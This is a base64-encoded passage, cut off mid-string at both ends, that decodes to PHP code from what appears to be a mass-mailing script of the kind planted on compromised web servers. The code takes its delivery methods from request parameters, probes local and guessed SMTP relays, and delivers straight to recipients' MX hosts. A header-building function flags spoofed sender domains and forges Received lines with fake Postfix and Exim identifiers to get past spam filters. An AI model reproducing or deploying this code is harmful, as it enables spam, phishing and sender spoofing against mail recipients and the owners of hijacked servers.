gcmV0dXJuICRzZW50OwogICAgfQoKICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X2RvbWFpbl90b191c2UoJGJhc2VEb21haW4sICRzdWJEb21haW4pCiAgICB7CiAgICAJaWYgKCRiYXNlRG9tYWluICE9ICRzdWJEb21haW4pIHsKCQkgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY2hlY2tkbnNycicpKSB7CgkJICAgICAgICBpZiAoY2hlY2tkbnNycigkc3ViRG9tYWluLCAnTVgnKSkgewoJCSAgICAgICAgICAgIHJldHVybiAkc3ViRG9tYWluOwoJCSAgICAgICAgfQoJCSAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdkbnNfZ2V0X3JlY29yZCcpKSB7CgkJICAgICAgICAkbXhSZWNvcmRzID0gZG5zX2dldF9yZWNvcmQoJHN1YkRvbWFpbiwgRE5TX01YKTsKCQkgICAgICAgIGlmICghZW1wdHkoJG14UmVjb3JkcykpIHsKCQkgICAgICAgICAgICByZXR1cm4gJHN1YkRvbWFpbjsKCQkgICAgICAgIH0KCQkgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0bXhycicpKSB7CgkJICAgICAgICAkbXhSZWNvcmRzID0gW107CgkJICAgICAgICBpZiAoZ2V0bXhycigkc3ViRG9tYWluLCAkbXhSZWNvcmRzKSAmJiAhZW1wdHkoJG14UmVjb3JkcykpIHsKCQkgICAgICAgICAgICByZXR1cm4gJHN1YkRvbWFpbjsKCQkgICAgICAgIH0KCQkgICAgfSBlbHNlIHsKCQkgICAgICAgICRvdXRwdXQgPSBbXTsKCQkgICAgICAgIGV4ZWMoIm5zbG9va3VwIC10eXBlPU1YICIgLiBlc2NhcGVzaGVsbGFyZygkc3ViRG9tYWluKSwgJG91dHB1dCk7CgkJICAgICAgICBmb3JlYWNoICgkb3V0cHV0IGFzICRsaW5lKSB7CgkJICAgICAgICAgICAgaWYgKHN0cnBvcygkbGluZSwgJ21haWwgZXhjaGFuZ2VyJykgIT09IGZhbHNlKSB7CgkJICAgICAgICAgICAgICAgIHJldHVybiAkc3ViRG9tYWluOwoJCSAgICAgICAgICAgIH0KCQkgICAgICAgIH0KCQkgICAgfQoJICAgIH0KCSAgICByZXR1cm4gJGJhc2VEb21haW47CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBzZW5kX2VtYWlsX21ldGhvZCgkZG9tYWluLCAkbWFpbF9mcm9tLCAkdG8sICRzdWJqZWN0LCAkYm9keSwgJGhlYWRlcnMgPSAiIikKICAgIHsKICAgICAgICAkbWV0aG9kcyA9IChpc3NldCgkX1JFUVVFU1RbJ3NtJ10pICYmIGlzX2FycmF5KCRfUkVRVUVTVFsnc20nXSkpID8gJF9SRVFVRVNUWydzbSddIDogYXJyYXkoJ21haWwnKTsKICAgICAgICBrc29ydCgkbWV0aG9kcyk7CgogICAgICAgICRoZWFkZXJzID0gdHJpbSgkaGVhZGVycyk7CiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXkZyb206L21pJywgJGhlYWRlcnMpKSB7CiAgICAgICAgICAgICRoZWFkZXJzIC49ICgkaGVhZGVycyA/ICJcclxuIiA6ICIiKS4iRnJvbTogIi4kbWFpbF9mcm9tLiJcclxuIjsKICAgICAgICB9CgogICAgICAgIGlmIChpbl9hcnJheSgnZGlyZWN0JywgJG1ldGhvZHMpIHx8IGluX2FycmF5KCdmb3JjZScsICRtZXRob2RzKSkgewogICAgICAgICAgICAkaGVhZGVyc19mZCA9ICRoZWFkZXJzOwogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9eRGF0ZTovbWknLCAkaGVhZGVyc19mZCkpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJzX2ZkID0gIkRhdGU6ICIuJHRoaXMtPmdldF9oZWFkZXJfZGF0ZSgpLiJcclxuIi4kaGVhZGVyc19mZDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9eTWVzc2FnZS1JRDovbWknLCAkaGVhZGVyc19mZCkpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJzX2ZkID0gIk1lc3NhZ2UtSUQ6IDwiLiR0aGlzLT5nZXRfaGVhZGVyX21lc3NhZ2VfaWQoJGRvbWFpbikuIj5cclxuIi4kaGVhZGVyc19mZDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9eVG86L21pJywgJGhlYWRlcnNfZmQpKSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyc19mZCAuPSAoJGhlYWRlcnNfZmQgPyAiXHJcbiIgOiAiIikuIlRvOiAiLiR0bzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgZm9yZWFjaCAoJG1ldGhvZHMgYXMgJG0pIHsKICAgICAgICAgICAgaWYgKCRtID09PSAiZm9yY2UiKSB7CiAgICAgICAgICAgICAgICAkZGF0YSA9ICJTdWJqZWN0OiAkc3ViamVjdFxyXG4kaGVhZGVyc19mZFxyXG5cclxuJGJvZHlcclxuLiI7CgogICAgICAgICAgICAgICAgJHNtdHBfbGlzdCA9IFtdOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJsb2NhbGhvc3QiLCJwb3J0Ij0+MjUsImVuYyI9Pm51bGwpOwogICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4ibG9jYWxob3N0IiwicG9ydCI9PjU4NywiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJsb2NhbGhvc3QiLCJwb3J0Ij0+NDY1LCJlbmMiPT4ic3NsIik7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRteF9saXN0KSkgewogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+JHRoaXMtPmJhc2Vkb21haW4sInBvcnQiPT4yNSwiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjU4NywiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+Im1haWwuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjI1LCJlbmMiPT5udWxsKTsKICAgICAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJtYWlsLiIuJHRoaXMtPmJhc2Vkb21haW4sInBvcnQiPT41ODcsImVuYyI9Pm51bGwpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+Im1haWwuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InNtdHAuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjI1LCJlbmMiPT5udWxsKTsKICAgICAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJzbXRwLiIuJHRoaXMtPmJhc2Vkb21haW4sInBvcnQiPT41ODcsImVuYyI9Pm51bGwpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InNtdHAuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InJlbGF5LiIuJHRoaXMtPmJhc2Vkb21haW4sInBvcnQiPT4yNSwiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4icmVsYXkuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjU4NywiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4icmVsYXkuIi4kdGhpcy0+YmFzZWRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+JHRoaXMtPmZ1bGxkb21haW4sInBvcnQiPT4yNSwiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjU4NywiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+Im1haWwuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjI1LCJlbmMiPT5udWxsKTsKICAgICAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJtYWlsLiIuJHRoaXMtPmZ1bGxkb21haW4sInBvcnQiPT41ODcsImVuYyI9Pm51bGwpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+Im1haWwuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InNtdHAuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjI1LCJlbmMiPT5udWxsKTsKICAgICAgICAgICAgICAgICAgICAkc210cF9saXN0W10gPSBhcnJheSgiaG9zdCI9PiJzbXRwLiIuJHRoaXMtPmZ1bGxkb21haW4sInBvcnQiPT41ODcsImVuYyI9Pm51bGwpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InNtdHAuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgICAgICRzbXRwX2xpc3RbXSA9IGFycmF5KCJob3N0Ij0+InJlbGF5LiIuJHRoaXMtPmZ1bGxkb21haW4sInBvcnQiPT4yNSwiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4icmVsYXkuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjU4NywiZW5jIj0+bnVsbCk7CiAgICAgICAgICAgICAgICAgICAgJHNtdHBfbGlzdFtdID0gYXJyYXkoImhvc3QiPT4icmVsYXkuIi4kdGhpcy0+ZnVsbGRvbWFpbiwicG9ydCI9PjQ2NSwiZW5jIj0+InNzbCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkc210cF9saXN0IGFzICRzcnYpIHsKICAgICAgICAgICAgICAgICAgICAkc29jayA9ICR0aGlzLT5zbXRwX2Nvbm5lY3QoJHNydlsnaG9zdCddLCAkc3J2Wydwb3J0J10sICRzcnZbJ2VuYyddLCAkc3J2Wydob3N0J10gPT0gJ2xvY2FsaG9zdCcgPyAzIDogMTApOwogICAgICAgICAgICAgICAgICAgIGlmICghJHNvY2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHBfaGVsb19hbmRfc2VuZCgkc29jaywgJG1haWxfZnJvbSwgJHRvLCAkZGF0YSwgJGRvbWFpbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkc29jayk7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRzb2NrKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICcqbWV0aG9kOmZvcmNlKicuJHRoaXMtPmVvbDsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRtID09PSAiZGlyZWN0IikgewogICAgICAgICAgICAgICAgJGRvID0gZmFsc2U7CiAgICAgICAgICAgICAgICAkdXNlc29jayA9IHRydWU7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWyd3YyddKSkgewogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdnbWFpbC5jb20nLCAnbWFpbGd1bi5vcmcnKSBhcyAkayA9PiAkaG9zdCkgewogICAgICAgICAgICAgICAgICAgICAgICAkbXhfbGlzdCA9ICR0aGlzLT5nZXRfbXhfcmVjb3JkcygkaG9zdCk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkbXhfbGlzdCkpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkaykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzb2NrID0gJHRoaXMtPnNtdHBfY29ubmVjdCgkbXhfbGlzdFswXSwgMjUsIG51bGwsIDIsIHRydWUsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgMToKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdXNlc29jayA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzb2NrID0gJHRoaXMtPnNtdHBfY29ubmVjdCgkbXhfbGlzdFswXSwgMjUsIG51bGwsIDIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRzb2NrKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHNvY2spOwogICAgICAgICAgICAgICAgICAgICAgICAkZG8gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoISRkbykgY29udGludWU7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJHJlY2VpdmVkX2hkciA9ICR0aGlzLT5idWlsZF9yZWNlaXZlZF9oZWFkZXIoJG1haWxfZnJvbSwgJHRvLCAkZG9tYWluKTsKICAgICAgICAgICAgICAgICRkYXRhID0gJHJlY2VpdmVkX2hkci4iU3ViamVjdDogJHN1YmplY3RcclxuJGhlYWRlcnNfZmRcclxuXHJcbiRib2R5XHJcbi4iOwoKICAgICAgICAgICAgICAgICRwYXJ0cyA9IGV4cGxvZGUoJ0AnLCAkdG8pOwogICAgICAgICAgICAgICAgaWYgKGNvdW50KCRwYXJ0cykgPT0gMikgewogICAgICAgICAgICAgICAgICAgICRyY3B0X2RvbWFpbiA9IHN0cnRvbG93ZXIodHJpbSgkcGFydHNbMV0pKTsKICAgICAgICAgICAgICAgICAgICAkcmNwdF9kb21haW4gPSBwcmVnX3JlcGxhY2UoJy9ed3d3XC4vaScsICcnLCAkcmNwdF9kb21haW4pOwogICAgICAgICAgICAgICAgICAgICRteF9yZWNvcmRzICA9ICR0aGlzLT5nZXRfbXhfcmVjb3JkcygkcmNwdF9kb21haW4pOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRteF9yZWNvcmRzIGFzICRteF9ob3N0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzb2NrID0gJHRoaXMtPnNtdHBfY29ubmVjdCgkbXhfaG9zdCwgMjUsIG51bGwsIDEwLCAkdXNlc29jayk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHNvY2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNtdHBfaGVsb19hbmRfc2VuZCgkc29jaywgJG1haWxfZnJvbSwgJHRvLCAkZGF0YSwgJGRvbWFpbikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHNvY2spOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkc29jayk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJyptZXRob2Q6ZGlyZWN0KicuJHRoaXMtPmVvbDsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoJG0gPT09ICJtYWlsIikgewogICAgICAgICAgICAgICAgaWYgKEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVycykpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICcqbWV0aG9kOm1haWwqJy4kdGhpcy0+ZW9sOwogICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIAlpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7CgkJCQkJCSRzbWwgPSBzcHJpbnRmKCIlcyAtb2kgLWYlcyAtdCIsIGVzY2FwZXNoZWxsY21kKCIvdXNyL3NiaW4vc2VuZG1haWwiKSwgZXNjYXBlc2hlbGxhcmcoJG1haWxfZnJvbSkpOwoJCQkJCQlpZiAoIUAkZnAgPSBwb3Blbigkc21sLCAidyIpKSB7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0KCQkJCQkJZnB1dHMoJGZwLCAkaGVhZGVycy4iXHJcbiIpOwoJCQkgICAgICAgICAgICBmcHV0cygkZnAsICJcclxuIik7CgkJCSAgICAgICAgICAgIGZwdXRzKCRmcCwgJGJvZHkpOwoJCQkJCQkkcnMgPSBwY2xvc2UoJGZwKSA+PiA4ICYgMHhmZjsKCQkJCQkJaWYgKCRycyAhPSAwKSB7CgkJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJCX0gZWxzZSB7CgkJCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCQkJfQoJCQkJCX0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBidWlsZF9yZWNlaXZlZF9oZWFkZXIoJG1haWxfZnJvbSwgJHRvLCAkZG9tYWluKQogICAgewogICAgICAgICRwYXJ0cyA9IEBleHBsb2RlKCdAJywgJG1haWxfZnJvbSk7CgogICAgICAgICRzcG9vZiA9ICRwYXJ0c1sxXSAhPSAkZG9tYWluOwoKICAgICAgICAkZ3VzZXIgPSAoZnVuY3Rpb25fZXhpc3RzKCJnZXRfY3VycmVudF91c2VyIikpID8gQGdldF9jdXJyZW50X3VzZXIoKSA6ICRwYXJ0c1swXTsKICAgICAgICBpZiAoISRndXNlciB8fCBpbl9hcnJheSgkZ3VzZXIsIGFycmF5KCJyb290IiwiU1lTVEVNIiwibmdpbngiLCJhcGFjaGUiLCJ3d3ctZGF0YSIsImh0dHBkIiwid3d3IikpKSB7CiAgICAgICAgICAgICRndXNlciA9ICRwYXJ0c1swXTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkc3Bvb2YpCiAgICAgICAgICAgICRpcCA9ICghZW1wdHkoJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0pKSA/ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdIDogQGdldGhvc3RieW5hbWUoJGRvbWFpbik7CiAgICAgICAgZWxzZQogICAgICAgICAgICAkaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkZG9tYWluKTsKCiAgICAgICAgJHB0ciAgID0gJHRoaXMtPmdldF9ob3N0X3B0cigkaXApOwogICAgICAgIGlmICghJHB0cikgJHB0ciA9ICRwYXJ0c1sxXTsKCiAgICAgICAgJGhfYXJyID0gYXJyYXkoKTsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJzcmFuZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygiY3JjMzIiKSkgewogICAgICAgICAgICBAc3JhbmQoQGNyYzMyKCRwYXJ0c1sxXSkpOwogICAgICAgIH0KICAgICAgICAkaF9hcnJbXSA9ICJSZWNlaXZlZDogZnJvbSAkcHRyICgkcHRyIFskaXBdKVxyXG4iCiAgICAgICAgICAgIC4iCWJ5ICIuJHBhcnRzWzFdLiIgKFBvc3RmaXgpIHdpdGggRVNNVFAgaWQgIi5zdHJ0b3VwcGVyKCR0aGlzLT5nZW5lcmF0ZV9zdHIoMTMpKS4iXHJcbiIKICAgICAgICAgICAgLiIJZm9yIDwkdG8+OyAiLiR0aGlzLT5yZmNfZGF0ZSgpLiJcclxuIgogICAgICAgICAgICAuIlJlY2VpdmVkOiBieSAkcHRyIChQb3N0Zml4LCBmcm9tIHVzZXJpZCAiLnJhbmQoMTAsOTk5OTkpLiIpXHJcbiIKICAgICAgICAgICAgLiIJaWQgIi5zdHJ0b3VwcGVyKCR0aGlzLT5nZW5lcmF0ZV9zdHIoMTApKS4iOyAiLiR0aGlzLT5yZmNfZGF0ZSgpLiJcclxuIjsKCiAgICAgICAgJGV4aW0gID0gJHRoaXMtPnJhbmRvbV9leGltX3ZlcnNpb24oKTsKCiAgICAgICAgJGhfYXJyW10gPSAiUmVjZWl2ZWQ6IGZyb20gJGd1c2VyIGJ5ICRwdHIgd2l0aCBsb2NhbCAoJGV4aW0pXHJcbiIKICAgICAgICAgICAgLiIJKGVudmVsb3BlLWZyb20gPCRtYWlsX2Zyb20+KVxyXG4iCiAgICAgICAgICAgIC4iCWlkICIuJHRoaXMtPmdlbmVyYXRlX3N0cig2LDEpLiItMCIuJHRoaXMtPmdlbmVyYXRlX3N0cigyLDIpLiR0aGlzLT5nZW5lcmF0ZV9zdHIoMywxKS4iLSIuJHRoaXMtPmdlbmVyYXRlX3N0cigyLDEpLiJcclxuIgogICAgICAgICAgICAuIglmb3IgPCR0bz47ICIuJHRoaXMtPnJmY19kYXRlKCkuIlxyXG4iOwoKICAgICAgICByZXR1cm4gJGhfYXJyW2FycmF5X3JhbmQoJGhfYXJyKV07CiAgICB9CgogICAgcHJpdmF0ZSBmdW5jdGlvbiBzbXRwX2Nvbm5lY3QoJGhvc3QsICRwb3J0LCAkZW5jLCAkdGltZW91dCA9IDEwLCAkdXNlc29jayA9IHRydWUsICR1c2VzdHJlYW0gPSB0cnVlKQogICAgewogICAgICAgICRob3N0X2VuYyA9ICgkZW5jID09PSAic3NsIiA/ICJzc2w6Ly8iIDogInRjcDovLyIpLiRob3N0LiI6Ii4kcG9ydDsKICAgICAgICAkc29jayAgICAgPSBmYWxzZTsKICAgICAgICAkZW5vICAgICAgPSAwOwogICAgICAgICRlc3RyICAgICA9ICIiOwogICAgICAgIGlmICgkdXNlc29jayAmJiBmdW5jdGlvbl9leGlzdHMoImZzb2Nrb3BlbiIpKSB7CiAgICAgICAgICAgICRzb2NrID0gQGZzb2Nrb3BlbigkaG9zdCwgJHBvcnQsICRlbm8sICRlc3RyLCAkdGltZW91dCk7CiAgICAgICAgfQogICAgICAgIGlmICgkdXNlc3RyZWFtICYmICEkc29jayAmJiBmdW5jdGlvbl9leGlzdHMoInN0cmVhbV9zb2NrZXRfY2xpZW50IikpIHsKICAgICAgICAgICAgJHNvY2sgPSBAc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3RfZW5jLCAkZW5vLCAkZXN0ciwgJHRpbWVvdXQsIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwgJHRoaXMtPmNvbnRleHQpOwogICAgICAgIH0KICAgICAgICBpZiAoJHNvY2spIHsKICAgICAgICAgICAgQHN0cmVhbV9zZXRfdGltZW91dCgkc29jaywgJHRpbWVvdXQsIDApOwogICAgICAgICAgICAkYmFubmVyID0gJHRoaXMtPnNtdHBfcmVhZF9yZXNwb25zZSgkc29jayk7CiAgICAgICAgICAgIGlmICghcHJlZ19tYXRjaCgnL14yMjAvJywgJGJhbm5lcikpIHsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJHNvY2spOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkc29jazsKICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIHNtdHBfaGVsb19hbmRfc2VuZCgkc29jaywgJG1haWxfZnJvbSwgJHRvLCAkZGF0YSwgJGRvbWFpbikKICAgIHsKICAgICAgICAkaGVsbyA9ICR0aGlzLT5mb3JtYXRfc210cF9ob3N0KCRkb21haW4pOwogICAgICAgIEBmcHV0cygkc29jaywgIkVITE8gJGhlbG9cclxuIik7CiAgICAgICAgJGVobG9fcmVzcCA9ICR0aGlzLT5zbXRwX3JlYWRfcmVzcG9uc2UoJHNvY2spOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL14yNTAvJywgJGVobG9fcmVzcCkpIHsKICAgICAgICAgICAgQGZwdXRzKCRzb2NrLCAiSEVMTyAkaGVsb1xyXG4iKTsKICAgICAgICAgICAgJGhlbG9fcmVzcCA9ICR0aGlzLT5zbXRwX3JlYWRfcmVzcG9uc2UoJHNvY2spOwogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9eMjUwLycsICRoZWxvX3Jlc3ApKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKHN0cmlwb3MoJGVobG9fcmVzcCwgIlNUQVJUVExTIikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIEBmcHV0cygkc29jaywgIlNUQVJUVExTXHJcbiIpOwogICAgICAgICAgICAkdGxzX3Jlc3AgPSAkdGhpcy0+c210cF9yZWFkX3Jlc3BvbnNlKCRzb2NrKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXjIyMC8nLCAkdGxzX3Jlc3ApKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCFAc3RyZWFtX3NvY2tldF9lbmFibGVfY3J5cHRvKCRzb2NrLCB0cnVlLCBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIEBmcHV0cygkc29jaywgIkVITE8gJGhlbG9cclxuIik7CiAgICAgICAgICAgICRlaGxvX3Jlc3AgPSAkdGhpcy0+c210cF9yZWFkX3Jlc3BvbnNlKCRzb2NrKTsKICAgICAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXjI1MC8nLCAkZWhsb19yZXNwKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkc29jaywgIk1BSUwgRlJPTTogPCRtYWlsX2Zyb20+XHJcbiIpOwogICAgICAgICRyZXNwX21mID0gJHRoaXMtPnNtdHBfcmVhZF9yZXNwb25zZSgkc29jayk7CiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXjI1MC8nLCAkcmVzcF9tZikpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJHNvY2ssICJSQ1BUIFRPOiA8JHRvPlxyXG4iKTsKICAgICAgICAkcmVzcF9yYyA9ICR0aGlzLT5zbXRwX3JlYWRfcmVzcG9uc2UoJHNvY2spOwogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL14yNVswMV0vJywgJHJlc3BfcmMpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRzb2NrLCAiREFUQVxyXG4iKTsKICAgICAgICAkcmVzcF9kYXRhID0gJHRoaXMtPnNtdHBfcmVhZF9yZXNwb25zZSgkc29jayk7CiAgICAgICAgaWYgKCFwcmVnX21hdGNoKCcvXjM1NC8nLCAkcmVzcF9kYXRhKSkgewogICAgICAgICAgICByZXR1cm4gZmFs